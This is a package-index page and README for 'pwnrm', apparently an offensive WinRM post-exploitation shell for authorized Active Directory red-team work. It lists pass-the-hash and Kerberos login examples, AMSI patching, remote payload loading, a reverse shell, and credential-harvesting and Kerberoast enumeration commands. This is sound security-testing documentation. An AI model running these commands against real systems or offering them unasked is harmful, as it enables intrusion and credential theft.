Advanced WinRM Post-Exploitation Shell for Windows Active Directory Testing
An operator-grade WinRM execution framework for authorized Active Directory security assessments: interactive PowerShell runspace over MS-PSRP, every modern AD auth path, stealthy payload delivery, and a built-in AD triage engine - usable as a CLI tool and as a Python library.
Installation · Usage · Commands · AD Triage · Share Scout · Session Scout · Library Usage · Troubleshooting · Disclaimer · Hall Of Fame
Installation
pip (recommended)
pip install pwnrm
# Update when we have new release
# (highly recommend when we have critical issue at previous version)
pip install --upgrade pwnrm
git clone + installer (Kali / Ubuntu / Debian)
git clone https://github.com/uziii2208/PwnRM.git
cd PwnRM
sudo bash install.sh
The installer creates a virtualenv at /opt/pwnrm and registers a global pwnrm wrapper.
Manual / dev
git clone https://github.com/uziii2208/PwnRM.git
cd PwnRM
python3 -m venv venv && source venv/bin/activate
pip install -e .
Usage
# Password
pwnrm -u Administrator -p 'P@ssw0rd!' 192.168.1.10
# Pass-the-Hash
pwnrm -u Administrator -H :aad3b435b51404eeaad3b435b51404ee dc01.corp.local
# Kerberos (ccache / KRB5CCNAME)
pwnrm -u administrator@CORP.LOCAL -k --ccache /tmp/admin.ccache dc01.corp.local
# Client certificate - ADCS abuse paths (ESC1 / ESC9 / Shadow Credentials)
pwnrm -u administrator@CORP.LOCAL --pfx admin.pfx --pfx-pass secret https://dc01:5986
# CredSSP (double-hop / credential delegation)
pwnrm -u admin -p 'P@ss' --credssp dc01.corp.local
# Non-interactive single command
pwnrm -u admin -p 'P@ss' dc01.corp.local -X "whoami /all"
Key flags: --port, --ssl, --timeout, --ts, --debug. Run pwnrm -h for the full list.
Commands
| Command | Description |
|---|---|
!download RPATH [LPATH] |
Pull file/dir from target (dirs auto-zipped) |
!upload [-xor] LPATH [RPATH] |
Push file; -xor for encrypted staging |
!amsi |
Patch AmsiScanBuffer in the remote process |
!psrun [-xor] URL |
Execute remote PowerShell via obfuscated ScriptBlock |
!netrun [-xor] URL [ARG..] |
Load & invoke remote .NET assembly |
!revshell IP PORT |
Raw Winsock reverse shell (full I/O) |
!adtriage [-q] |
Built-in AD enumeration engine (see below) |
!shares [-q] [HOST ..] |
SMB share scout - UNC access, ACLs, SYSVOL GPP cPassword detection |
!sessions [-q] |
Session & network snapshot - logon sessions, Kerberos tickets, TCP, named pipes |
!sysinfo |
OS / AV / hotfix / local-admin snapshot |
!creds |
DPAPI / PS-history / credential artifact scanner |
!log / !stoplog |
Toggle session transcript |
exit / Ctrl+D |
Close session · Ctrl+C interrupts a running command |
Tab-completion for all built-ins via prompt_toolkit.
AD Triage
!adtriage runs a self-contained LDAP/WMI enumeration entirely inside the remote PowerShell session - no extra binaries on target. -q = quick mode (identity + domain + Server 2025 / BadSuccessor check).
Covers: identity & privileges · domain / forest / DCs / trusts · high-value groups · Kerberoastable SPNs · AS-REP roastables · unconstrained / constrained / RBCD delegation · ADCS templates (ESC1/3/4 quick scan) · gMSA / dMSA (BadSuccessor) · ACL quick-wins on DA/DC/krbtgt · pre-Windows-2000 compat access · password-never-expires admins.
Share Scout
!shares runs a self-contained SMB share enumeration entirely inside the remote PowerShell session - no extra binaries on target. -q = quick mode (local shares + UNC probe only). Optionally pass explicit [HOST ..] to scan remote machines; without targets, auto-discovers domain computers via AD (capped at 20 hosts).
Covers: local share inventory via Win32_Share · UNC access testing (read and write probe) · ACL quick-wins flagging Everyone / Authenticated Users with write rights · SYSVOL/NETLOGON sensitive file sweep · GPP cPassword auto-detection (CVE-2014-1812) · open files (net files) · active SMB sessions (net session).
Session Scout
!sessions runs a self-contained active logon session and network snapshot entirely inside the remote PowerShell session - no extra binaries on target. -q = quick mode (logon sessions + RDP MRU only).
Covers: interactive / remote / service logon sessions via Win32_LogonSession · RDP client MRU and saved credentials from registry · Kerberos ticket cache (klist) with TGT flagging · established TCP connections with process attribution and external IP detection · listening port inventory with service labels (RDP, MSSQL, WinRM, etc.) · named pipe exposure with sensitive pipe flagging (lsass, spoolss, samr, epmapper...) · SYSTEM-level scheduled tasks currently running.
Library Usage
from pwnrm import Runspace, PwnShell, create_transport, argument_parser
args = argument_parser().parse_args(["-u", "admin", "-p", "P@ss", "10.0.0.5"])
with Runspace(create_transport(args), int(args.timeout)) as rs:
shell = PwnShell(rs)
print(shell.run_sync("whoami /all")) # blocking
for out in rs.run_command("Get-Process"): # streaming
print(out)
Directory Structure
PwnRM/
├── src/pwnrm/
│ ├── __init__.py # public API
│ ├── __main__.py # python -m pwnrm
│ ├── cli.py # CLI entry point
│ ├── core/ # transports, Runspace, MS-PSRP
│ ├── shell/ # PwnShell, built-in commands, AD/share/session triage
│ └── resources/ # adtriage.ps1 · shares.ps1 · sessions.ps1
├── pyproject.toml # PyPI packaging
├── install.sh # Linux installer
└── requirements.txt
Troubleshooting
| Problem | Fix |
|---|---|
pwnrm: command not found |
pip install pwnrm or sudo bash install.sh (clone mode) |
Kerberos KRB_AP_ERR_SKEW |
sudo ntpdate <DC_IP> |
| WinRM connection refused | On target: Enable-PSRemoting -Force |
| AMSI catches payloads | !amsi first, or !upload -xor + !netrun -xor |
⚠️ Disclaimer
PwnRM is for authorized security testing, red-team operations, and education only. You must have explicit written authorization (RoE / signed scope) before targeting any system. The authors assume no liability for misuse. Never use against systems you do not own or lack permission to test.
Credits
Core author: uziii2208 · Built on Impacket · Concept: original winrmexec.py
License
MIT - see LICENSE.
ENJOY YOUR MEAL.
Metadata
Release files for pwnrm 1.2.5
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| pwnrm-1.2.5.tar.gz | 51.7 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| pwnrm-1.2.5-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 107.3 kB
Release files / pwnrm-1.2.5.tar.gz
| Download URL | pwnrm-1.2.5.tar.gz |
|---|---|
| Size | 51.7 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
b3f8ae1dd0921ef72e0225f97a7b376f2a7a5283a5545277c5cebb7c0ffdd13e
|
|
BLAKE2b-256 checksum How to use checksums |
730985a2c07a7ed41710913b3bf3af03574bc8562ded54c1fbc003ec7fff8f5c
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.14.5
|
Release files / pwnrm-1.2.5-py3-none-any.whl
| Download URL | pwnrm-1.2.5-py3-none-any.whl |
|---|---|
| Size | 55.6 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
31001c92f03e3f8e843f355ebbdfe48dad149ef5161557dadcf812eebdded107
|
|
BLAKE2b-256 checksum How to use checksums |
107984138849c8949fd71cb8f036353cdb0ae37b6996545c4b7e142671e414bb
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.14.5
|